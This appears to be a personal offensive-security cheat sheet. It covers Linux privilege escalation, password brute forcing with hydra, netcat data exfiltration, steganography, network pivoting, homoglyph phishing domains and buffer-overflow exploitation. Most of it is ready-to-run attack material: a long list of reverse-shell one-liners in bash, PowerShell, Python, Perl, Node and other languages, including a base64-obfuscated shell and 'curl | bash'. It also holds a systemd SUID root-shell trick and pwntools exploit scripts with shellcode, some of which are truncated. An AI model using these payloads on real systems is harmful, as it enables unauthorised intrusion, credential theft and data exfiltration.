member of the Sudo group, **pkexec** allows an authorized user to execute commands as another user. Therefore, we could use`pkexec /bin/bash` to spawn a shell as root. However, there is known issue that “pkexec fails in a non-graphical environment. To solve this, we needed to create two SSH connections as the user you have access to The process: * Opened two SSH connections as user Alice * On the first SSH session: ``` echo $$ #get session pid ``` * On the second session (replace {pid} with output of earlier command) ``` pkttyagent -p {pid} ``` * On the first session: ``` pkexec /bin/bash ``` * On the second session, entered the password for Alice ### Any sudo? check if you're allowed to execute some stuff as sudo ``` sudo -l ``` ### Find user's files ``` find / -user www-data -type f 2>&1 | grep -v "Permission" | grep -v "No such" ``` ### CVE-2021-3156 - Sudo HEAP Overflow Check if the box is vulnerable by running: ``` $ sudoedit -s '\' $(python3 -c 'print("A"*1000)') ``` If vulnerable, console will show: ![Vulnerable to Baron Samedit](/files/-MkL-TihD7kBF9BA343G) \ ## SUID If a script on the machine has the SUID bit set, it might be possible to exploit it. ``` find / -perm -u=s -type f 2>/dev/null ``` ### Crontab Check for any misconfigured scripts ``` cat /etc/crontab ``` ### Environment variables If a script is using another binaries (like **cp** in example below) and it doesn't specify the FULL path, you might be able to hijack this by creating your own binary and exporting the PATH yourself. Let say you find this script which creates a backup of certain files on the system. ``` cp /home/user/archangel/myfiles/* /opt/backupfiles ``` You could exploit it by creating **your** own version of **cp**. Which of course will be a shell running as root. ``` echo '/bin/bash' > some_bin chmod +x some_bin export PATH=.:$PATH ``` ``` cat > some_bin << EOF > #!/bin/bash > /bin/bash -i > EOF chmod +x some_bin export PATH=.:$PATH ``` ## Linux Capabilities ### CAP\_CHOWN Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` Or with the **`ruby`** binary having this capability: ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` # Hashing & Cracking ## What is hashing Hashing is **simply passing some data through a formula that produces a result**, called a hash. That hash is usually a string of characters and the hashes generated by a formula are always the same length, regardless of how much data you feed into it. (SHA,MD5,MD4,GOST) ## Cracking hashes ### Using Hashcat You can use the [list here ](https://hashcat.net/wiki/doku.php?id=example_hashes)which is a complete list of Hashcat supported hash types. ``` hashcat -m -a 0 ``` ### Using John Sometimes you might have difficulties with Hashcat, try John ``` john --wordlist=/usr/share/wordlists/rockyou.txt ``` ### HTTP Basic Authorization Header Brute Force Basic authorization is..**basic**. A username and a password separated by a colon is then encoded in Base64. The screenshot below demonstrate the credentials admin:admin being sent through the Authorization header of an HTTP request. ![](/files/-MkXr148onxpziKddnkj) ``` hydra -l admin -P passwordlist -s -f example.com http-get /api/v1/users -vV -t 64 ``` {% hint style="info" %} **ProTip:** You can/should always test first by using a set of valid credentials and check if it returns it valid. ``` hydra -l known_user -p known_password -s -f example.com http-get /api/v1/users -vV ``` {% endhint %} ### HTTP Post form Brute Force Most of the time, authentication is made via a form posted to the web server. You can try to brute force it but watch out for **CSRF**. Try sending the same request twice using **burp.** ``` hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 31111 -f example.com http-post-form '/user/login:user_name=^USER^&password=^PASS^:Credz are incorrect.' -vV -t 64 ``` # Persistence ## Windows ## Linux # Windows ## CertUtil download file ``` certutil.exe -urlcache -split -f "http://:8081/winPEAS.bat" winpeas.bat ``` ## Enable RDP Leverage powershell to enable rdp. Remember that by default, only one account can be logged. ``` #enable RDP powershell Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 #allow rdp through firewall Enable-NetFirewallRule -DisplayGroup "Remote Desktop" ``` # Data Exfiltration ## Python ``` Python3 -m http.server 6969 #start a minimal web server to download files from ``` ## Netcat ``` nc -vlp 9999 > loot #on your machina nc -N your_ip 9999 < /home/user/sensitive.info #on ennemy machina ``` # Steganography There are many ways to embed data into different file formats. Common file formats are often used by hackers to hide data in them. By doing so, exfiltration time is often longer but stealthier. ## Identification Before attempting anything, identifying the file format is a *must.* ``` $ file file.ext $ strings file.ext ``` ## Extract & Embed data - JPG, PNG, GIF, TIFF, BMP [**StegoVeritas**](https://github.com/bannsec/stegoVeritas) is a fantastic tool to manipulate files with. It is worth the detour. I personally like the GIF steg. It can be easily installed with **pip3** and then simply run its requirements installation script. ``` $ pip3 install stegoveritas $ stegoveritas_install_deps $ stegoveritas file.ext ``` ## Extract & Embed data - JPEG, BMP, WAV, AU [**Steghide**](https://github.com/StefanoDeVuono/steghide) is one of the most famous steganography tools.\ The **JPEG**, **BMP,** **WAV** and **AU** file formats are **supported for use as cover file**. \ There are **no restrictions** on the **format of the secret data**.\ Features include the **compression** of the embedded data, **encryption** of the embedded data and automatic **integrity** checking using a checksum. **Extract:** ``` $ steghide extract -sf image.jpeg $ steghide extract -sf image.jpeg -p PASSWORD_TO_DECRYPT ``` **Embed:** ``` $ steghide embed -cf image.jpeg -ef secret.txt ``` ***NOTE:** steghide will ask your for a passphrase but it is **optional**. Although, it is pretty rare that someone will take the time to obfuscate data just to leave it unencrypted. Especially when it is so easy to embed/encrypt.* ## Extract & Embed data - PNG, BMP **Zsteg** is a **Ruby GEM** and will do the same thing as steghide but with **PNG** and **BMP** files. **Extract:** ``` $ zsteg image.png $ zsteg image.png -v -a $ zsteg image.png -v --lsb #Least significant bit first $ zsteg image.png -v --msb #Most significant bit first $ zsteg image.png -v -c (R/G/B/A) #Specific color channel $ zsteg image.png -v -b 1,3,5 #Specific bits $ zsteg image.png -v -b 1-6 #Specific bits range ``` ***Embed:*** ``` $ zsteg image.png $ zsteg image.png -v -a $ zsteg image.png -v --lsb #Least significant bit first $ zsteg image.png -v --msb #Most significant bit first ``` ## StegSeek - Steganography passphrase cracking **Stegseek** is a neat piece of code that will crunch through any wordlist faster than any steganography cracker available (to my knowledge). Compile from source or install released binaries\ It also includes nearly all of steghide's functionality, so it can also be used to embed or extract data as normal. The only catch is that commands must use the `--command` format.\ **Crack:** ``` $ stegseek image.jpeg wordlist.lst -t 16 >> cracked ``` ## Unicode - Homoglyphs & Homographs Sometimes, the data will be encoded using a weird encoding. This can be good for phishing, bypassing filters, and of course hiding data in plain sight. Using homoglyphs for domains is a common thing and is usually better for phishing than typosquatting/subtracting/etc.\
## Exiftool - Metadata Nothing fancy here, a simple tool to read a file's metadata. ``` $ exiftool file.foo ``` ## Audio - Spectrograph analysis Some audio analysis software are available such as: * Audacity * Sonic Visualiser * **WavSteg <- can extract/embed data** * DeepSound You can always check for hidden messages in audio files using any audio analysis software or pass it through any/many kind of filters to maybe end up with an isolated output. \ I personally use Audacity but Sonic Visualiser is also good, any DAW is also perfect (FlStudio, Ableton, ProTools,etc)
![Waveform view of an audio file](/files/-MkIR9zCSnJRiJLAyr2E) ![Spectrograph view of the same audio file](/files/-MkIQXeRhhee1m3PPQRB) # Pivot & Tunneling Sshhhhhhhhhhhhhh ## Chisel -Port To Port ``` #on attacker machine chisel server -p 6969 --reverse #on target machine chisel.exe client : R::127.0.0.1:/tcp ``` ## Chisel - SOCKS ``` #on attacker machine chisel server -p 6969 --reverse #on target machine chisel.exe client : R::127.0.0.1:socks ``` ## SSH local port forwarding ``` ssh user@ -T -L :localhost: ``` You can then browse/connect to localhost:your-port to acess victim:remote--port ## SSH forward dynamic (SOCKS) proxy ``` ssh -D localhost:9999 -f -N target@ ``` ## Reverse SSH tunnel One common scenario is gaining a foothold without credentials so you can't bind ssh tunnel. But you can still reverse SSH tunnel from the victim to your box. Using the following technique, you'll be able to reach those. ``` ssh -N -R 3306:localhost:3306 kali@ ``` ## Reverse SSH Dynamic (SOCKS) tunnel ``` ssh -N -R 127.0.0.1:9090 kali@ ``` ## Ligolo-NG A coworker of mine showed me this and I instantly fell in love with the concept. It has a proxy-agent system and it works just like a VPN using a TUN interface. ### Setup TUN interface ``` sudo ip tuntap add user kali mode tun ligolo sudo ip link set ligolo up ``` ### Start proxy (agent handler) ``` ./proxy -selfcert -laddr 10.10.14.21:443 WARN[0000] Using automatically generated self-signed certificates (Not recommended)  INFO[0000] Listening on 10.10.14.21:443 ``` ### Connect an agent to the proxy ``` ./agent -connect 10.10.14.21:443 -ignore-cert WARN[0000] warning, certificate validation disabled      INFO[0000] Connection established ``` ### Session management from agent ``` session   -> choose session start # add routes for networks (usually internal networks) sudo ip route add 192.168.210.0/24 dev ligolo sudo ip route add 192.168.110.0/24 dev ligolo ``` ### Configure port forwarding ``` listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp ``` # Shells ## Powershell ``` $client = New-Object System.Net.Sockets.TCPClient("",);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` ## Bash | sh ```bash curl http://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP 0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196 exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; done #Short and bypass (cretdits to Dikline) (sh)0>/dev/tcp/10.10.10.10/9091 #after getting the previous shell, to get the output execute exec >&0 ``` Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash ### Symbol safe shell ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' #Stealthier method #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` ### Create in file and execute ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` ## Netcat ```bash nc -e /bin/sh nc | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` ## Telnet ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` ## Whois **Attacker** ```bash while true; do nc -l ; done ``` To send the command write it down, press enter and press CTRL+D (to stop STDIN) **Victim** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` ## Python ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` ## Perl ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## PHP ```bash php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` ## Java ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` ## Ncat ```bash victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl ``` ## Golang ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` ## Lua ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ## NodeJS ```javascript (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8080, "10.17.26.64", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })(); or require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]') require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'") or -var x = global.process.mainModule.require -x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash') or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` ## OpenSSH Attacker (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` Victim ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## **Socat** ### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` ### Reverse shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ## Awk ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` ## Finger **Attacker** ```bash while true; do nc -l 79; done ``` To send the command write it down, press enter and press CTRL+D (to stop STDIN) **Victim** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` ## Gawk ```bash #!/usr/bin/gawk -f BEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } } ``` ## Xterm One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001. ```bash xterm -display 10.0.0.1:1 ``` To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system): ```bash Xnest :1 ``` You’ll need to authorise the target to connect to you (command also run on your host): ```bash xhost +targetip ``` ## Groovy ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` ### JavaScript ```bash var net = require(‘net’);var spawn = require(‘child_process’).spawn; HOST=; PORT=”4445"; TIMEOUT=”5000";if (typeof String.prototype.contains === ‘undefined’) { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } function c(HOST,PORT) { var client = new net.Socket(); client.connect(PORT, HOST, function() { var sh = spawn(‘/bin/sh’,[]); client.write(“Connected!\n”); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); sh.on(‘exit’,function(code,signal){ client.end(“Disconnected!\n”); }); }); client.on(‘error’, function(e) { setTimeout(c(HOST,PORT), TIMEOUT); });}c(HOST,PORT); ``` # Protocols # FTP ## Anonymous Login Some installations of FTP will allow anonymous logins. ``` ftp anonymous:anonymous ``` ### Brute Force If no max attempts or any similar system is in place, simply brute force it. ``` hydra -l admin -P wordlist.txt victim_ip -t 64 ftp ``` ### Privilege Escalation - VSFTPD If you can edit the vsftpd service file. You can get a root shell Modify the service file to run the following commands: ``` cp /bin/bash /tmp/root_shell chmod +xs /tmp/root_shell ``` These commands copy the `/bin/bash` to `/tmp/root_shell` and set the SUID bit on it, which would allow us to execute the binary as the owner i.e. root Edit the `/lib/systemd/system/vsftpd.service` file to contain the following code: ```bash [Unit] Description=vsftpd FTP server After=network.target [Service] Type=simple User=root ExecStart=/bin/bash -c 'cp /bin/bash /tmp/root_shell; chmod +xs /tmp/root_shell' #ExecReload=/bin/kill -HUP $MAINPID #ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty [Install] WantedBy=multi-user.target ``` Once the vsftpd.service file was modified, reload the daemon: ``` systemctl daemon-reload ``` This allowed us to run our modified service using ``` sudo /usr/sbin/service vsftpd restart ``` New file `root_shell should now be available` inside the `/tmp` directory Use file to spawn a root shell. ``` /tmp/root_shell -p ``` # SSH ## OpenSSH 2.3 < 7.7 - Username Enumeration - CVE-2018-15473 You can either use: nmap, msf module or any git scripts to accomplish this. I personally use msf. There is this python script available:\ ## Brute Force ``` hydra -l admin -P wordlist.txt victim_ip -t 4 ssh ``` # DNS Domain Name System ## Quick ``` dig axfr the-domain.tld @ #try zone transfer ``` ## Homoglyph & Homograph attack When doing phishing campaign, it can be useful to have a very resembling domain name.\ By encoding your domain name into weird resembling characters/symbols, you might be able to create a **very similar** looking domain name and maybe even bypass Spam/phishing, but most importantly it will look something like:\ \ [facebooκ.com](http://xn--faceboo-9nf.com/) **VS** [f4ceb00k.xyz](http://127.0.0.1)\ xn--faceboo-9nf.com **VS** f4ceb00k.xyz\ \ As an hyperlink, displayed on the browser, it **is** looking very similar but once clicked, you can tell the that the hyperlink is actually leading to a weird address, which is the *real* address.
{% hint style="info" %} An **internationalized domain name** (**IDN**) is an Internet domain name that contains at least one label that is displayed in software applications, in whole or in part, in a language-specific script or alphabet, such as Arabic, Chinese, Cyrillic, Devanagari, Hebrew or the Latin alphabet-based characters with diacritics or ligatures, such as French. These writing systems are encoded by computers in **multibyte Unicode**. Internationalized domain names are **stored in the Domain Name System (DNS) as ASCII strings** using **Punycode transcription**. {% endhint %} \ <-- Extra info\ <-- Manual homoglyph attack \ <-- DNS homoglyph generator ## Subdomains ### Bruteforcing subdomains You can use many tools for this, mostly brute-force attacks to be honest. I personally use **ffuf** and **sublist3r**. But you can use wfuzz, dirbuster, gobuster, dirb, burp, or any tool that can help you fuzz an URL. I personally like to use ffuf (Fuzz faster you f\*ck\*) which comes included with Kali. wfuzz is also a pretty good tool.\ For a generic brute-force for any subdomain on a domain a usually use sublist3r because it is fast to setup: ``` $ sublist3r -d DOMAIN.com -b -p 80 -t 16 -o subdomains.txt ``` ### Bruteforcing Virtual Hosts What I like about ffuf/wfuzz is the flexibility it gives you. You can set custom HTTP headers if you need to find **Virtual Hosts.** \ If you are not familiar with Vhosts, it is just a way for web servers to publish multiple websites with one ip. The web server will grab the HOST header (Can be configured otherwise though) and will then "proxy" the request to the appropriate webapp/webroot.\ \ The following command will use common subdomains names (just replace with any list if wanted) and then set the Host header to an arbitrary value. Then, just enter the machine ip and launch the first request.\ You will only get false positives. Just filter by the size of one of said false positive and then you are good to go. ``` $ ffuf -w /usr/share/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.domain.com" -u http://MACHINE_IP -fs {size} wfuzz -u http://target.com -w ./dnslist.txt -H "Host: Fuzz.target.com" --AAA ``` ### OSINT - Certificates If there are SSL/TLS certificates you can always look up , which holds Certificate Transparency (CT) logs. When any certificate is issued by a CA, it creates a transparent log of all the certificates created for said domain. It helps against malicious actors trying to forge malicious domains/certs. # IPP Printer go brrrrrrr ![](/files/-Ml3SdbMUol_F1Locsxn) # Binary Exploitation 10101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010 ## Quick ``` //find offset by trial and error or gdb/gef python3 -c 'print ("A" * 64)' gdb pattern create run 'paste pattern' pattern search $rsp //find libc base ldd vulnerableSoftware //find callable system in memory //The -s flag tells readelf to search for symbols, for example functions. readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system //find /bin/sh string //The option -a tells it to scan the entire file; -t x tells it to output the offset in hex. strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh //To passing the parameter in after the return pointer //you will have to use a pop rdi; //ret gadget to put it into the RDI register ROPgadget --binary vulnerableSoftware | grep rdi //Besides those functions the return address were should be included. objdump -d vulnerableSoftware | grep ret ``` ## i386-32-little **RELRO** stands for Relocation Read-Only, which makes the global offset table (GOT) read-only after the linker resolves functions to it. The GOT is important for techniques such as the ret-to-libc attack. . **Stack canaries** are tokens placed after a stack to detect a stack overflow. These were supposedly named after birds that coal miners brought down to mines to detect noxious fumes. Canaries were sensitive to the fumes, and so if they died, then the miners knew they needed to evacuate. On a less morbid note, stack canaries sit beside the stack in memory (where the program variables are stored), and if there is a stack overflow, then the canary will be corrupted. This allows the program to detect a buffer overflow and shut down. You can read more about stack canaries here: . **NX** is short for non-executable. If this is enabled, then memory segments can be either writable or executable, but not both. This stops potential attackers from injecting their own malicious code (called shellcode) into the program, because something in a writable segment cannot be executed. On the vulnerable binary, you may have noticed the extra line RWX that indicates that there are segments which can be read, written, and executed. Look into Ret2Lib **PIE** stands for Position Independent Executable. This loads the program dependencies into random locations, so attacks that rely on memory layout are more difficult to conduct. This also means that it won't be affected by ASLR. ## Address space layout randomization (ASLR) Address space layout randomization is a technique involved in preventing exploitation of memory by randomly arranging the address space positions of key data areas of processes and the positions of the stack, heap and libraries. ``` #check ASLR status cat /proc/sys/kernel/randomize_va_space ``` * 0 – No randomization. Everything is static. * 1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized. * 2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized. ## Global Offset Table (GOT) The global offset table is a section inside a program that holds addresses of dynamically linked functions. Most programs don't include every function they use to reduce binary size. Instead, common functions, like those in libc, are "linked" into the program. All dynamic libraries are loaded into memory along with the main program at launch; however, functions aren't mapped to their actual code until they're first called. After these functions are called for the first time, their real addresses are "saved" in the section of the program called .got.plt. ## ASLR Bypass - Ret2lib First is to leak the address of any function which is in libc and is being used in our binary (so it'll be saved in **.got.plt**). We need some function that can print values and can take a pointer as an argument. The perfect functions for this are **puts** and **printf**. So what we can do now is to call puts and, as an argument, pass a pointer to any function that's inside **.got.plt**. If we call puts and as an argument, we pass the address of the setbuf function inside of .**got.plt** section, then we should have leaked the real address of the sefbuf function inside a libc. And when we have this leak, we can calculate the base address of the libc. **Libc base address => Start of the c library in memory** Every time the binary is being run, the address is the same as it would have been when ASLR was turned off, and from that, we can calculate offsets for every function inside of libc. #### Steps 1. find buffer overflow 2. ghidra 1. Find leak function 1. program trees -> software -> .got.plt 1. Find a function address used in libc or any interesting dynamic library 2. ROP leak chain 1. Popping the **$RDI** register for our argument 2. Filling the **$RDI** register with the address of the gets function 3. Executing the puts function with loaded argument 4. Returning to the main program with already leaked function ![.got.plt](/files/JVoYHxraKu1YokQ3VV4P) ![.plt](/files/th88z85IaaSkVxtg3LxQ) ## Buffer Overflow Example outputs of pwntools **checksec** on a binary: * RELRO: Full RELRO \ Stack: Canary found\ NX: NX enabled \ PIE: PIE enabled * RELRO: Partial RELRO \ Stack: No canary found \ NX: NX disabled \ PIE: No PIE (0x8048000) \ RWX: Has RWX segments * RELRO: Partial RELRO\ Stack: No canary found \ NX: NX enabled \ PIE: No PIE (0x8048000) While fuzzing, if you see any **Segmentation Fault** or **Stack Smashing**, chances are you found a buffer overflow vulnerability. Finding it is nice but exploiting it is really the fun part. ### Find overflow - Cyclic patterns Cyclic patterns are heavily used to find buffer overflows. It helps calculating the offset easily. ``` gdb malicious.exe #load vulnerable software into debugger pattern create #create cyclic pattern using GDB/GEF, can also use python or w/e r #run software #Run software until you hit vulnerable function, paste cyclic pattern into input #64-bit pattern search $rsp #read data from $RSP and automatically calculate offset #32-bit pattern search $rip $read data from $RIP and automatically calculate offset ``` #### Python script - Cyclic pattern + injection Use the following python code to create a cyclic pattern, breaking at the buffer overflow, then injecting our payload (return address to arbitrary function) ``` #!/bin/python2 from pwn import * padding = cyclic(cyclic_find('jaaa')) #Uncomment one eip variable #First eip points to an address of an actual function #Second eip points to TOP OF STACK plus an arbitrary OFFSET #eip = p32(0xbeefdead) #eip = p32(0xffffd510+200) nops = "\x90"*1000 #Insert a big chunk of NOP so we can "slide" to address #Use first payload if using first eip #Use second payload if using second eip #payload = padding + eip #payload = padding + eip + nop_slide + shellcode print(payload) ``` ![ESP address, useful when allocating nopslide](/files/-MkLDj1qekX6XCl8tFP0) The following code will do the same using TCP ``` from pwn import * connect = remote('victim_ip', 6420) #victim ip and port print(connect.recvn(18)) #change 69 for any number of bytes to recv payload = "A"*32 #bufffffffer payload += p32(0xbeefdead) #overflow ! connect.send(payload) #sh311z lul print(connect.recvn(34)) ``` ### Shellcode We want to execute /bin/sh, but we want to pass 'sh' and '-p' into the argv array. We can use shellcraft to create execve shellcode with"/bin/sh" and "\['sh', '-p']\ Use -f s to output as an hex formatted string ready for 1nj3ct10n, us -f a for asm output ``` shellcraft i386.linux.execve "/bin///sh" "['sh', '-p']" -f s ``` Use this code to overflow a local binary and interact with an executed shellcode ``` #!/bin/python2 from pwn import * padding = cyclic(cyclic_find('ABCD')) #Second eip points to top of the stack plus an arbitrary offset eip = p32(0xffffd510+200) nops = "\x90"*1000 #Insert a big chunk of NOP so we can "slide" to address #first shellcode is made with shellraft #second shellcode is a breakpoint for testing shellcode = "jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe$ #shellcode = "\xcc" payload = padding + eip + nops + shellcode proc = process('./vulnerable') proc.recvline() proc.send(payload) proc.interactive() ``` # Linux - Simple reverse & crack ### Simple program exploitation Imagine the following C program called license\_1. A simple strcmp (string compare) that checks if input is a certain string. ![](/files/M1wYi0uJ3Xmmj8HahGuw) Open software with GDB and start reversing ``` gdb license_1 #open up software in gdb disassemble main #dis main break *main #break at main entry ``` ![License\_1 main function](/files/QpLAkHe0LI439j66H6U7) A lot of information like that can be overwhelming but we can simply focus on the code flow for now. Let's imagine we don't have the source code and try to understand what this program does. I usually take a snippet of the function and paste it into mspaint then start following calls. Below is a screenshot of my manual analysis of the program execution. ![Code flow of license\_1](/files/SYLBC4cc3RFg76FBrKpp) This is nice but let's get through this, step-by-step. First, it seems like the program checks for something that is equal to 2 ![](/files/CtbwtIX4jiqNoutHMEqZ) At address 4005cc we can notice a CMP (compare) instruction, it compares it with a hard-coded value of 0x2, or in human readable format: 2\ Then it slides to a JNE (Jump Not Equal) instruction, which basically checks if the value from previous compare instruction is 0 or not. If the instruction is 0, it means it **is** equal but if the result is anything but 0 it means the result is **not** equal. Basically, this checks if something is 2 and if it is not 2, it jumps because it is not equal. Let's verify this. Let's run the program and look at the registers. ``` run info registers si #step instruction info registers ``` ![](/files/Q8uB5UYhSsV4laumjlMy)![](/files/LxQr61ib3pe29KW3vFbK) By using SI we are single stepping into instructions, we want to use ni instead so we don't step into instructions such as puts, strcmp, print, etc. ![](/files/Ayq1GRpo3sWO5uiovnuA) We notice that we jumped directly to the end of the program when we followed the code flow. We also noticed that the program indicated us its "usage", meaning that we probably are missing an argument while running the program. ``` break *main+69 #lets skip the useless stuff and break at the compare run turbo-key #this will run the program with turbo-key as arg ``` Now there are two ways I know of doing things, 